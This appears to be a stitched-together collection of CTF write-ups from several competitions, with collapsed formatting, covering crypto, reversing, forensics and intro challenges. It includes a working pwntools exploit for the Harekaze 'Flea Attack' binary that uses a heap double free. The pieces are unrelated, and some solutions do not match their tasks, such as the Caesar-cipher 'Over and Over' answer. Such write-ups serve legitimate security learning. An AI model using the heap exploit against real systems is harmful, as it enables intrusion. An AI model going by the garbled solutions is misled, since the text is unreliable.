plaindata="El Psy Congroo"cipherdata="IFhiPhZNYi0KWiUcCls="cipherflag="I3gDKVh1Lh4EVyMDBFo="
cipherdata=base64.b64decode("IFhiPhZNYi0KWiUcCls=")cipherflag=base64.b64decode("I3gDKVh1Lh4EVyMDBFo=")
key=""maxi=max(len(plaindata),len(cipherdata))for i in range(maxi): key+=chr(ord(plaindata[i%len(plaindata)])^ord(cipherdata[i%len(cipherdata)]))print key
flag=""maxi=max(len(key),len(cipherflag))for i in range(maxi): flag+=chr(ord(cipherflag[i%len(cipherflag)])^ord(key[i%len(key)]))print flag``` |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/tamu_2018_enum/](http://www.aperikube.fr/docs/tamu_2018_enum/)
-----
# TL;DRFor this challenge ssh credentials were given, the goal is to find the hidden flag. We first found a file containing credentials.Then a server running on port 9000. Since we don’t have tool to connect to it (netcat, telnet…), we used built-in socket to communicate with it using the credentials and get the flag. |
We are given a c function that does the integer division of the argument by a constant N.```clong long div(long long x) { return x / N;}```
The constant is set at compile time```$ gcc -DN=$N -c -O2 foo.c```
Given the disassembly of the function we need to recover N```$ objdump -d foo.o
foo.o: file format elf64-x86-64
Disassembly of section .text:0000000000000000 : 0: 48 89 f8 mov %rdi,%rax 3: 48 ba 01 0d 1a 82 9a movabs $0x49ea309a821a0d01,%rdx a: 30 ea 49 d: 48 c1 ff 3f sar $0x3f,%rdi 11: 48 f7 ea imul %rdx 14: 48 c1 fa 30 sar $0x30,%rdx 18: 48 89 d0 mov %rdx,%rax 1b: 48 29 f8 sub %rdi,%rax 1e: c3 retq $ echo “HarekazeCTF{$N}” > /dev/null```
I tried at first to run the code in an emulator, but the movabs with a quad word immediate wasn't supported, so I rewrote the code in python.In the System V x86_64 calling convenction rdi holds the first argument of a function. The disassembly is in the AT&T syntax, not the usual Intel syntax (e.g. mov %rdi, %rax means rax = rdi, that is move rdi to rax)```pythondef div(rdi): rax = rdi rdx = 0x49ea309a821a0d01 rdi = rdi >> 0x3f rdxrax = rdx * rax rdx, rax = rdxrax >> 64, rdxrax % (2 ** 64) rdx = rdx >> 0x30 rax = rdx rax = rax - rdi return rax```
Since this function computes x / N, we have that the smallest x such that x / N = 1 is x = N. Since x / N is a monotone function we can use binary search to efficiently find this x.
```pythonprint(div(2 ** 64 - 1))h = 2 ** 64 - 1l = 0while h - l > 1: m = (h + l) / 2 if div(m) >= 1: h = m else: l = m# we have that div(l) < 1 and l is non decreasing after each iteration# so at the end of the binary search l is the greatest x such that div(x) = 0# that in turn means that l + 1 is the smallest x such that div(x) = 1print(l + 1)print(div(l))
print(div(l + 1))``` |
I searched for a while and found it's gold-bug cipher ([wikipedia](https://en.wikipedia.org/wiki/The_Gold-Bug)). Using this [site](https://dcode.fr/gold-bug-poe ) we can get the plaintext easily as follows.
CAPTAI KIDD USED THE GOLD BUG CIPHER TO HIDE THE LOCATIO OF HIS TREASURE I A STORY WRITTE BY EDGAR ALLA POE I FLAG IS **PIRATESANDDAGGERS** |
We have two methods to handle this challenge.
1、This crypto algorithm processes 12 bits at one time with ECB mode. And the length of the ciphertext is just 6 bytes. It's feasible to brute-force 24 bits or 3 bytes at one time.
2、Following the designing art of DES, we can build up the decryption algorihm by reversing the subkey order and exchanging the left and right part of the input and the output of the fiestel network.
Following is the code,```def S1box(S1): box = [[0b101, 0b010, 0b001, 0b110, 0b011, 0b100, 0b111, 0b000], [0b001, 0b100, 0b110, 0b010, 0b000, 0b111, 0b101, 0b011]] return box[(S1>>3) & 0x1][S1 & 0x7]
def S2box(S2): box = [[0b100, 0b000, 0b110, 0b101, 0b111, 0b001, 0b011, 0b010], [0b101, 0b011, 0b000, 0b111, 0b110, 0b010, 0b001, 0b100]] return box[(S2>>3) & 0x1][S2 & 0x7]
def getsubkey(key, index, n): result = 0 for i in range(8): tmp = (((key >> ((n - 1 - (index + i)) % n) & 1) << (7 - i))) result = result | tmp return result def encrypt(s, key, offset): #1, Choose a plaintext that is divisible into 12bit 'blocks' plain = s
#2, Choose a key at least 8bits in length
#3, For each block from i=0 while i<N perform the following operations # Currently no padding N = len(plain) * 8 / 12 R = 2 result = 0 pint = int(plain.encode('hex'), 16) for i in range(N): #4, Repeat the following operations on block i, from r=0 while r<R p = (pint >> (12 * (N - 1 - i))) & 0xfff Lr = (p >> 6) & 0x3f Rr = p & 0x3f for r in range(R): tmp = ((Rr << 2) & 0xc0) | (Rr & 0x3) | ((Rr & 0x8) << 1) | ((Rr & 0x8) >> 1) | ((Rr & 0x4) << 1) | ((Rr & 0x4) << 3) subkey = getsubkey(int(key.encode('hex'),16), (i + offset) * R + r, len(key) * 8) tmp = tmp ^ subkey S1 = (tmp >> 4) & 0xf S2 = tmp & 0xf tmp = (S1box(S1) << 3) | S2box(S2) tmp = tmp ^ Lr Lr = Rr Rr = tmp result = (result << 12) | ((Lr << 6) | Rr) return getstr(result)
def decrypt(s, key): plain = s N = len(plain) * 8 / 12 R = 2 result = 0 pint = int(plain.encode('hex'), 16) for i in range(N): p = (pint >> (12 * (N - 1 - i))) & 0xfff Rr = (p >> 6) & 0x3f # exchange the left and right part Lr = p & 0x3f for r in range(R - 1, -1, -1): # reverse subkey order tmp = ((Rr << 2) & 0xc0) | (Rr & 0x3) | ((Rr & 0x8) << 1) | ((Rr & 0x8) >> 1) | ((Rr & 0x4) << 1) | ((Rr & 0x4) << 3) subkey = getsubkey(int(key.encode('hex'),16), i * R + r, len(key) * 8) tmp = tmp ^ subkey S1 = (tmp >> 4) & 0xf S2 = tmp & 0xf tmp = (S1box(S1) << 3) | S2box(S2) tmp = tmp ^ Lr Lr = Rr Rr = tmp result = (result << 12) | ((Rr << 6) | Lr) # exchange the left and right part return getstr(result)
def getstr(intnum): intstr = hex(intnum).lstrip('0x').rstrip('L') if len(intstr) % 2 == 1: intstr = '0' + intstr intstr = intstr.decode('hex') return intstr
enc = 0b011001010010001010001100010110000001000110000101encstr = getstr(enc)
import string, itertools, time
# method 1, brute forceflag = ''time1 = time.time()for i in range(2): for item in itertools.product(string.printable, repeat=3): if encrypt(''.join(item), 'Mu', i * 2) == getstr((enc >> (1 - i) * 24) & 0xffffff): flag += ''.join(item) breaktime2 = time.time()print 'method 1: flag is Gigem{' + flag + '}, passed time:', time2 - time1
# method 2, decrypttime1 = time.time()flag = decrypt(encstr, 'Mu')time2 = time.time()print 'method 2: flag is Gigem{' + flag + '}, passed time:', time2 - time1
```
Output , ```C:\>python solver.pymethod 1: flag is Gigem{MiN0n!}, passed time: 25.5679998398method 2: flag is Gigem{MiN0n!}, passed time: 0.00100016593933``` |
# __Harekaze CTF 2018__ ## _Flea Attack_
## Information
**Category:** | **Points:** | **Writeup Author**--- | --- | ---Exploitation | 200 | merrychap
**Description:**
> nc problem.harekaze.com 20175
## Solution
Alright, we're given the [flea_attack](./flea_attack.elf) binary.
```sh$ file flea_attack.elf flea_attack.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped```
Now we know that it's 64-bit ELF. First of all, we have to understand how this thing works.
### Reversing the binary
Here will be pictures of some parts of the reversed code. If you want to see the whole code of the binary, then check out [flea_attack.c](./flea_attack.c) file. Let's open ```main``` function in IDA Pro:
As you can see, we open the flag and write it somewhere (this function will be shown a little bit below), after this, we enter comment and go to the main loop of the program. In the main loop, we can choose to add a new name or delete an existing one.
### Open flag function
Here we just open a file with the flag and save its content into ```flag``` global variable. It's obvious that we have to read somehow the content of the ```flag``` variable.
### Gets comment function
```original_fgets``` function is just a kind of wrapper for ```fgets``` function. Code of ```original_fgets``` you can see in [flea_attack.c](./flea_attack.c). Okay, here we just input a string of 96 bytes length into ```comment``` global variable.
Also, it's important where ```comment``` and ```flag``` variables located. Using IDA Pro we can find out the next:
```asm.bss:204000 comment db ? ;.bss:204001 db ? ;.bss:204002 db ? ;.bss:204003 db ? ;
...........
.bss:204080 public flag.bss:204080 flag db ? ;.bss:204081 db ? ;.bss:204082 db ? ;.bss:204083 db ? ;.bss:204084 db ? ;.bss:204085 db ? ;.bss:204086 db ? ;
...........
.bss:2040AE db ? ;.bss:2040AF db ? ;```
### Add name function
Here we enter a size for a name, after this, the binary allocates a chunk for the name and then we enter the name itself. As you can see, after this, program prints entered name and an address of this string.
Remember that **this is very important place of the binary**. Also, there is no any validation for the entered size (!).
### Delete name function
This function is pretty straightforward. Program asks us for an address of a chunk and remove it.
### Find a vulnerabilityOkay, we know that we can create chunks of any sizes. And also we're able to delete any chunk. Let's try to make a **```double free```** attack. You can read about it [here](https://www.owasp.org/index.php/Double_Free).
Double free attack gives us an opportunity to create two different pointers that point to the same chunk. We will be working with fastbin chunks.
```c1 a = malloc(30);2 b = malloc(30);3 c = malloc(30);4 5 free(a); // head --> a --> tail6 free(b); // head --> b --> a --> tail7 free(a); // head --> a --> b --> a --> tail8 9 d = malloc(30) // head --> b --> a --> tail10 e = malloc(30) // head --> a --> tail11 f = malloc(30) // head --> tail
// d and f point to the same chunk!```
If we try to do the same operations in given binary, then we find out that it attack really works here.
### Exploitation of the binaryWhat can we do if we have two pointers that point to the same heap chunk? Well, as we know, fastbin chunks have only ```fd``` pointer (without ```bk```) and after allocating a chunk, this pointer is pushed on a fastbin and considered as top of fastbin (fastbin behaves as a stack).
Now let's look at 9 - 10 lines more closely. After allocating a chunk, we enter a string into it. Hence, on the second malloc, fastbin takes entered value (in ```fd``` field) as the new top chunk of the fastbin.
This attack gives us an opportunity to get ```malloc``` to return a nearly-arbitrary pointer (known as House of Spirit attack). If we want malloc to return ```addr``` pointer, then ```addr+8``` has to be the size of chunks in the fastbin (in other case an exception will be raised).
### Get the flagOkay, we're almost done. We want to read the flag, right? The only one place that prints the string is ```add_name``` function. ```malloc``` gives us a pointer, then we enter a string under the address of the pointer and this value is printed. So, we want flag to be printed, then we want malloc to return address near ```flag``` variable. Let's recall that we have ```comment``` variable. We can enter 94 any bytes and the last 95th byte will be the size of chunks in the fastbin. After this, we will trick the top of the fastbin to point to ```&flag-32``` address. That will give us an opportunity to print the flag!
### ExploitYou can read [exploit.py](./exploit.py) file or just read the code below:
```pythonimport struct
from pwn import *
def to_num(addr): return struct.unpack('Q', addr)[0]
def to_addr(num): return struct.pack('Q', num)
def comment(pc, com): pc.recvuntil('note:') pc.sendline(com)
def add(pc, size, name, fl=False, print_flag=False): pc.recvuntil('> ') pc.sendline('1') pc.recvuntil('Size: ') pc.sendline(size) pc.recvuntil('Name: ') pc.sendline(name) if not fl: pc.recvline() name = pc.recvline()[6:-1] resp = pc.recvline() if print_flag: print(resp) addr = pc.recvline()[6:-1] return name, addr
def delete(pc, addr): pc.recvuntil('> ') pc.sendline('2') pc.recvuntil('Addr: ') pc.sendline(addr) pc.recvuntil('3. Exit') pc.recvuntil('3. Exit')
def main(): flag = '\x56\x40\x20\x00\x00\x00\x00\x00'
pc = remote('problem.harekaze.com', 20175) comment(pc, 'A' * 94 + '\x41\x00') name1, addr1 = add(pc, '45', 'AAAA') name2, addr2 = add(pc, '45', 'BBBB') name3, addr3 = add(pc, '45', 'CCCC')
delete(pc, addr1) delete(pc, addr2) delete(pc, addr1)
name4, addr4 = add(pc, '45', flag, True) # after allocating name6, fastbin's top chunk will be changed to desirable address (flag variable). name5, addr5 = add(pc, '45', '', True) name6, addr6 = add(pc, '45', flag, True) print(addr4) # check if double free works print(addr6)
delete(pc, addr4)
name7, addr7 = add(pc, '45', '') name8, addr8 = add(pc, '45', 'AAAAAAAAAAAAAAAAAAAAAAAAA', print_flag=True)
pc.interactive()
if __name__ == '__main__': main()```
### Flag
And after all produced actions we get the next:
> HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld} |
> 50> > Crashed DB> > We lost some data when we were delivering our DB.> Can you recover it??> > Hint: SQLite> > [Download](https://0xd13a.github.io/ctfs/sharif2018/crashed-db/db0.db)
As the hint suggests we are dealing with a SQLite file. Let's try to open it:
```$ sqlite3 db0.dbSQLite version 3.21.0 2017-10-24 18:55:49Enter ".help" for usage hints.sqlite> .tablesError: file is not a databasesqlite> .dbinfounable to read database header```
The file is damaged. When we do a comparison with a valid SQLite database file we can see that the header is missing. We can copy it using any binary editor:

After the modification the database can be read:
```$ sqlite3 db0.db SQLite version 3.21.0 2017-10-24 18:55:49Enter ".help" for usage hints.sqlite> .tablestblsqlite> select * from tbl;0|S|ln?KxFjBA3o78Gv0!N&b|h|h0EdNc#L08Hn6a$AvNIux?(|a|uLsoz6Y|r|u9C#1cKQ3x@bWmk*JC|i|0P8Hy4Yc%g5Xzh...sqlite> .schemaCREATE TABLE tbl (Glaf varchar(15), Flag varchar(1), Lfag varchar(15));```
The database seems to be full of garbage, but notice the middle column. Not only it is called ```Flag``` it seems to contain the flag, one character per row:
``` sqlite> select group_concat(Flag,'') from tbl;SharifCTF{7d9ed4a5867f6bd376928a3ed7837a07}```
The flag is ```SharifCTF{7d9ed4a5867f6bd376928a3ed7837a07}```. |
# Exclusive
By PGODULTIMATE
```Given two integers a and b, return a xor b. Remember, the xor operator is a bitwise operator that's usually represented by the^character.
For example, if your input was 5 7, then you should print 2.```
This challenge is pretty straight forward. You take in two integers and then XOR them.
```py#!/usr/bin/env python3
def getXored(acid): a,b = acid.split() #stores input into two separate variables print (int(a) ^ int(b)) #prints the XOR of those variables
getXored(input()) #takes in input``` |
# Soupstitution CipherReverse Engineering - 150 points
## Challenge
> We had a flag, but lost it in a mess of alphabet soup! Can you help us [find it?](https://github.com/Inshallhack/Write-ups/tree/master/EasyCTF/Soupstitution)
> Connect to the server via `nc c1.easyctf.com 12484`.
## Solution
### First glance
The challenge program is ~~obfusced~~ souped.

### beautify the program:
I've refactored the program like this:

### what i'm looking for ?
As you can see, if we send "2365552391" as input the program should return the flag. but unfortunately the length of the input is limited to 7 characters.
So we have to find another input that returns "2365552391" after the parseInt function.
### Python3 my love
After a long search time I noticed that in Python3 the function isdigit() is not limited to the simple ASCII character like in python2 but works with utf8 and unicode characters.
So we need to generate a list of characters that pass the isdigit() condition in python3.
```dico = [chr(i) for i in range(9999) if chr(i).isdigit()][::-1]```
### Bruteforce (or not)
```>>> len(dico)358```As you can see, there are 358 characters who pass the isdigit() condition in the first 9999 characters.
My first idea was to bruteforce the 7 characters with 358 characters. But, having calculated the number of possibilities I have forgotten this solution.
```>>> pow(len(dico),7)753669927250029952```
### Use my brain (and maybe lose some time)
So I looked more at the parseInt function. It works like this:
```parseInt('123') =>
out = 0out = 0out += ord('1') - ord('0') = 49 - 48 = 1out = 10out += ord('2') - ord('0') = 50 - 48 = 12out = 120out += ord('3') - ord('0') = 51 - 48 = 123```
```but now if we take 'A23' =>
out = 0out = 0out += ord('A') - ord('0') = 65 - 48 = 17out = 170out += ord('2') - ord('0') = 50 - 48 = 172out = 1720out += ord('3') - ord('0') = 51 - 48 = 1723```
As we can see, we now have one more digit in the output that great.
#### Found the solution
Remember we want 2365552391 as output with only 7 characters. we can split 2365552391 like this 2365 5 5 2 3 9 1 or 236 55 5 2 3 9 1 or 23 65 55 2 3 9 1 and so on.
So we have to find a solution that passes the isdigit condition. Lets try this with the first one :
```>>> chr(2365 + ord('0')).isdigit()True```
wow! first time :)
So one of the correct input is : chr(2365 + ord('0')) + "5" + "5" + "2" + "3" + "9" + "1" = "७552391"
we sended it to the online service and we received the flag.
> easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp} |
# EasyCTF_V WriteupThis repository serves as a writeup for EasyCTF_V solved by TheEmperors's team
## Discord
**Category:** Misc**Points:** 1**Description:**
>Join the Discord chat! Maybe if you use it enough, you'll find the flag.
**Hint:**
>The link to joining the Discord is on our Updates page ;) Make sure you read the info channel.
### Write-upWe joined the Discord #general channel related to the CTF and we saw the flag in the top of the page with the channel description
So the flag is : ```easyctf{Is_this_really_a_D1sc0rd_fl4g?}```.
___
## Intro: Hello, world!
**Category:** Intro**Points:** 10**Description:**
>Using your favorite language of choice, print Hello, world! to the output.> * For Python, consider the print function.> * For Java, consider System.out.println.> * For CXX, consider including stdio.h and using the printf function.
**Hint:**
>If you're not sure how to do this, try searching Google for how to make "Hello world!" programs in your language of choice.
### Write-upUsing Python2
```pythonprint "Hello world!"```___
## Intro: Linux
**Category:** Intro**Points:** 10**Description:**
>Log into the shell server! You can do this in your browser by clicking on the Shell server link in the dropdown in the top right corner, or using an SSH client by following the directions on that page.>Once you've logged in, you'll be in your home directory. We've hidden something there! Try to find it. :)
**Hint:**
>(no hint)
### Write-upWe should visit the [Shell Server](https://www.easyctf.com/chals/shell) section and connect to the remote server using our credentials or we just need to execute this command in a linux terminal:
```ssh [email protected]```
Then, we execute this command to list all the files located on our home directory:
```ls -lA```
Output:```user666@shell:~$ ls -lAtotal 1-rw-r--r-- 1 user666 ctfuser 41 Feb 7 13:41 .flag```
We found the flag file. So we show its content using this command:
```cat .flag```
Output:```user666@shell:~$ cat .flageasyctf{i_know_how_2_find_hidden_files!}```
So the flag is : ```easyctf{i_know_how_2_find_hidden_files!}```.
___
## The Oldest Trick in the Book
**Category:** Intro**Points:** 10**Description:**
>This is literally one of oldest tricks in the book. To be precise, from the year AD 56.>Crack me. ```lhzfjam{d3sj0t3_70_345fj7m_799h21}```
**Hint:**
>Et tu, Brute?
### Write-upThe flag format is easyctf{...} and we can see lhzfjam{...}. So it may be a caesar cipher.We try to brute force it 26 times and we can easily find the flag in 19th rotation.
So the flag is: ```easyctf{w3lc0m3_70_345yc7f_799a21}```___
## Intro: Web
**Category:** Intro**Points:** 10**Description:**
>The web goes well beyond the surface of the browser! Warm up your web-sleuthing skills with this challenge by finding the hidden flag on [this page](https://cdn.easyctf.com/328f49c7ab7b65a75c9e274f066435c6fe7fb0f207172a82da971348a7f05aec_index.html)!
Source code of this task: [here](resources/intro-10-web/index.html)
**Hint:**
>Not sure where to look? Try looking up 'source code', specifically related to web pages.
### Write-upIn this task the flag is not visible in the page:So we inspect the source code :And there we find the flag : ```easyctf{hidden_from_the_masses_11a8b2}```
___
## Soupreme Encoder
**Category:** Cryptography**Points:** 20**Description:**
>Decode this ```68657869745f6d6174655f3432386533653538623765623463636232633436```
**Hint:**
>It's encoded!
### Write-upIt looks like a hex code.Decoding it from hex to ascii, the plain text is: hexit_mate_428e3e58b7eb4ccb2c46So the flag is: ```easyctf{hexit_mate_428e3e58b7eb4ccb2c46}```___
## Intro: Netcat
**Category:** Intro**Points:** 20**Description:**
>I've got a little flag for you! Connect to ```c1.easyctf.com:12481``` to get it, but you can't use your browser!>(Don't know how to connect? Look up TCP clients like Netcat. Hint: the Shell server has Netcat installed already!)>Here's your player key: ```3770529```. Several challenges might ask you for one, so you can get a unique flag!
**Hint:**
>(No hint)
### Write-upJust try to connect to that address using netcat in your shell terminal:
```nc c1.easyctf.com 12481```
Output:```enter your player key:```So you should provied the key:```enter your player key: 3770529```
Output:```thanks! here's your key: easyctf{hello_there!_C06DFE0d60723Bec}```
So the flag is : ```easyctf{hello_there!_C06DFE0d60723Bec}```___
## Intro: Hashing
**Category:** Miscellaneous**Points:** 20**Description:**
>Cryptographic hashes are pretty cool! Take the SHA-512 hash of [this file](resources/miscellaneous-20-hashing/image.png), and submit it as your flag.
**Hint:**
>Try searching the web to find out what SHA-512 is.
### Write-upJust hash that file using an online tool : ```ce53d733c0d7738c7a390c21ef65e8b4746795d6d6c2b8269c810bc53784bfebfeaefbc6b66e95b84b5d2eed9ae72169b960ba5ee50846233935dc903476a20f```.
So the flag is : ```easyctf{ce53d733c0d7738c7a390c21ef65e8b4746795d6d6c2b8269c810bc53784bfebfeaefbc6b66e95b84b5d2eed9ae72169b960ba5ee50846233935dc903476a20f}```.
___
## Programming: Exclusive
**Category:** Programming**Points:** 20**Description:**
>Given two integers a and b, return a xor b. Remember, the xor operator is a bitwise operator that's usually represented by the ^ character.>For example, if your input was 5 7, then you should print 2.
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_xor/grader.py):
```python#Original EasyCTF_V write-upa, b = map(int, input().split(" "))print(a ^ b)```
___
## Haystack
**Category:** Forensics**Points:** 30**Description:**
>There's a flag hidden in this [haystack](resources/forensics-30-haystack/haystack.txt).
**Hint:**
>(No hint)
### Write-upWe search in that txt file the word "easyctf{" and so the flag found is : ```easyctf{iBfbRnwyuEImrogHTqVHFgMvL}```
___
## Look At Flag
**Category:** Forensics**Points:** 30**Description:**
>What is the flag? [flag](resources/forensics-30-look_at_flag/flag.txt)
**Hint:**
>What is this file?
### Write-upWe open that txt file in the browser.
Fortunately the browser detects images even with the .txt extension.
If you can't see the flag, just you have to change the file extension to .png.
Why .png extension ? Just run the command ```file flag.txt``` to know the type of file from the header bytes.
So the flag is : ```easyctf{FLaaaGGGGGg}```.
___
## EzSteg
**Category:** Forensics**Points:** 30**Description:**
>There appears to be a message beyond what you can see in [soupculents.jpg](resources/forensics-30-ezsteg/soupculents.jpg).
**Hint:**
>The description is a hint.
### Write-upWe have to run this command to extract the flag from image source code:```strings soupculents.jpg | grep easyctf```We can find the flag in the output:
So the flag is ```easyctf{l00k_at_fil3_sigS}```.
___
## Intro: Reverse Engineering
**Category:** Intro**Points:** 30**Description:**
>What does this [Python program](resources/intro-30-reverse_engineering/mystery.py) do? And more specifically, what input would give this output?>```6513c2b1c2bac3835f0cc28a5b6ac2abc2b9c2bfc381c39b7613c3bac2b3c2a17f7ac29f00c3aa46c2b9c2a6```
**Hint:**
>(No hint)
### Write-upWe have to reverse that cipher text. So we need to add just one line to the python file:
**[solution.py](resources/intro-30-reverse_engineering/solution.py)**
```python#!/usr/bin/env python3import binasciikey = "graAhogG"flag="6513c2b1c2bac3835f0cc28a5b6ac2abc2b9c2bfc381c39b7613c3bac2b3c2a17f7ac29f00c3aa46c2b9c2a6"def mystery(s): r = "" # Adding this line t = binascii.unhexlify(s).decode("utf-8") for i, c in enumerate(t): r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) return bytes(r, "utf-8")
#And this oneprint(mystery(flag))```
Then, we run it:```chmod +x solution./solution```
Output:```b'easyctf{char_by_char_aEaBdc}'```
So the flag is : ```easyctf{char_by_char_aEaBdc}```.
___
## Programming: Taking Input
**Category:** Programming**Points:** 30**Description:**
>OK, OK, you got Hello, world down, but can you greet specific people?>You'll be given the input of a certain name. Please greet that person using the same format. For example, if the given input is Michael, print Hello, Michael!.> * For Python, consider the input() function.> * For Java, consider System.in.> * For C, consider including stdio.h and reading input using read.> * For C++, consider including iostream and reading input using cin.
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_input/grader.py):
```python#Original EasyCTF_V write-upname = input()print("Hello, {}!".format(name))```
___
## Programming: Over and Over
**Category:** Programming**Points:** 40**Description:**
>You can decode a Caesar cipher, but can you write a program to decode a Caesar cipher?>Your program will be given 2 lines of input, and your program needs to output the original message.> * First line contains N, an integer representing how much the key was shifted by. 1 <= N <= 26> * Second line contains the ciphertext, a string consisting of lowercase letters and spaces.>For example:> * ```6```> * ```o rubk kgyeizl```>You should print> * ```i love easyctf```
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_loop/grader.py):
```python#Original EasyCTF_V write-upn = int(input())print(" and ".join(["over"] * n))```
___
## hexedit
**Category:** Reverse Engineering**Points:** 50**Description:**
> Can you find the flag in this [file](resources/reverse_engineering-50-hexedit/hexedit)?
**Hint:**
>(No hint)
### Write-upWe have to execute this command in your shell terminal to find out the flag:```strings hexedit | grep easyctf```
Output :```easyctf{eb04fadf}```
So the flag is : ```easyctf{eb04fadf}```.
___
## Substitute
**Category:** Cryptography**Points:** 50**Description:**
>Nobody can guess this flag! [msg.txt](resources/cryptography-50-substitute/msg.txt)
**Hint:**
>Look at the title.
### Write-upThe cipher text is encrypted with the Substitution cipher.
So we have to break it using any tool solver.
We used this [online tool](https://www.guballa.de/substitution-solver).
The key found was : ```aywmcnopjqrstxihbdlegzukfv```.
And then, the plain text was:```YO! NICEBOWLOFSOUP JUST MADE A NEW FLAG FOR THE CTF AND IS TOTALLY PROUD OF ITS INGENUITY. THIS IS ALSO THE SECOND PROBLEM EVER MADE FOR EASYCTF. HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.```
So the flag is : ```EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS}```.
___
## Markov's Bees
**Category:** Linux**Points:** 50**Description:**
>Head over to the shell and see if you can find the flag at ```/problems/markovs_bees/``` !
**Hint:**
>Don't do this by hand!
### Write-upWe have to connect to the remote server as explained in the [Intro : Linux](#intro-linux) task, and we have to execute this command to change the current working directory to the ```/problems/markovs_bees/``` directory:```cd /problems/markovs_bees/```
Then, we search inside of all the files located (in the current directory or the sub-directories), the flag as we know that all the flag starts with "easyctf{":```grep -R "easyctf" .```
Output :```bees/c/e/i/bee913.txt:easyctf{grepping_stale_memes_is_fun}```
So, the flag is : ```easyctf{grepping_stale_memes_is_fun}```
___
## xor
**Category:** Cryptography**Points:** 50**Description:**
>A flag has been encrypted using single-byte xor. Can you decrypt it? [File](resources/cryptography-50-xor/xor.txt).
**Hint:**
>(No hint)
### Write-upWe have to find the single-byte used to encrypt the plain text.
But, we know that the flag starts with ```easyctf{```. And we know the xor is a symetric cipher. So encrypting the cipher text with the plain text, we can find the key. We only need to know the single-byte key.
So let's print the file to the hexadecimal representation:```bashxxd -p xor.txt | tr -d "\n"```
Output:```181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200```
The hexadecimal representation of ```easyctf{``` is:```echo -n "easyctf{" |xxd -p -u```
Output :```656173796374667B```
Now we have to xor the same length of the cipher text and the plain text starting from the first position.
* old cipher text = 181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200* old plain text = 656173796374667B
* new cipher text = 181c0e041e091b06* new plain text = 656173796374667B
Using an online xor tool we can apply the xor. Otherwise, in the shell terminal we execute :```printf '%#x\n' "$((0x181c0e041e091b06 ^ 0x656173796374667b))"```
Output :```0x7d7d7d7d7d7d7d7d```
So the single-byte key in hexadecimal representation is ```7d```.
Now, we can decrypt the cipher text using this key (repeated with the cipher text length) and we convert the hexadecimal plain text result to an ascii string plain text :
* complete cipher text = 181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200* repeated key = 7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d
```printf '%#x\n' "$((0x181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200 ^ 0x7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d))" | xxd -r -p```
Output :```easyctf{xwntqvvoqrzpzbnjzlshnjqro}```
So the flag is : ```easyctf{xwntqvvoqrzpzbnjzlshnjqro}```.
___
## Programming: Subset Counting
**Category:** Programming**Points:** 55**Description:**
>Given a set of numbers, print out how many non-empty subsets sum to a given integer.>**Input Format**>The first line contains two integers N and S. The second line contains N space-separated integers a_1, a_2, ..., a_N.>1 <= N <= 20>-100 <= S <= 100>-1000 <= a_i <= 1000>**Output Format**>A single integer, the number of non-empty subsets which sum to S. Two subsets are different if an element appears in one and does not appear in the other. Note that a_1 is distinct from a_2, even if their values are identical.>**Sample Input**> * ```6 5```> * ```2 4 1 1 1 2```>**Sample Ouput**> * ```8```
**Hint:**
>(No hint)
### Write-upTask not solved___
## Liar
**Category:** Reverse Engineering**Points:** 70**Description:**
>Sometimes, developers put their source into their code with -g. Sometimes, they put another source into their code with -g.>[executable](resources/reverse_engineering-70-liar/getflag)>[source](resources/reverse_engineering-70-liar/getflag.c)
**Hint:**
>(No hint)
### Write-upTask not solved___
## In Plain Sight
**Category:** Web**Points:** 70**Description:**
>I've hidden a flag somewhere at [this](http://blockingthesky.com) site... can you find it?>Note: There is not supposed to be a website. Nothing is "down". The YouTube link that some of you are finding is unintentional, please ignore it.
**Hint:**
>Dig around and see what you can find
### Write-upThe domain name ```blockingthesky.com``` is not accessible in the browser. And considering the note and the hint, it may be a dns task.
But in the DNS records, the record in which we can hide a flag is the TXT record.
So, we execute this command in a shell terminal:```shdig TXT blockingthesky.com```
Output :```; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.62.rc1.el6_9.5 <<>> blockingthesky.com txt;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35257;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:;blockingthesky.com. IN TXT
;; ANSWER SECTION:blockingthesky.com. 30 IN TXT "_globalsign-domain-verification=kXlECiyonFE_qsQR-8ki6BOIdVru3bzxpwMDZr334_"blockingthesky.com. 30 IN TXT "easyctf{betcha_wish_you_could_have_used_ANY}"
;; Query time: 9 msec;; SERVER: 213.186.33.99#53(213.186.33.99);; WHEN: Wed Feb 21 14:02:14 2018;; MSG SIZE rcvd: 180```
So the flag is : ```easyctf{betcha_wish_you_could_have_used_ANY}```.
___
## Adder
**Category:** Reverse Engineering**Points:** 80**Description:**
>This program adds numbers. Find the flag! [adder](resources/reverse_engineering-80-adder/adder)
**Hint:**
>(No hint)
### Write-upTask not solved
___
## My Letter
**Category:** **Points:** 80**Description:**
>I got a letter in my email the other day... It makes me feel sad, but maybe it'll make you glad. :( [file](resources/forensics-80-my_letter/myletter.docx)
**Hint:**
>the flag is not a rickroll
### Write-upTask not solved
___
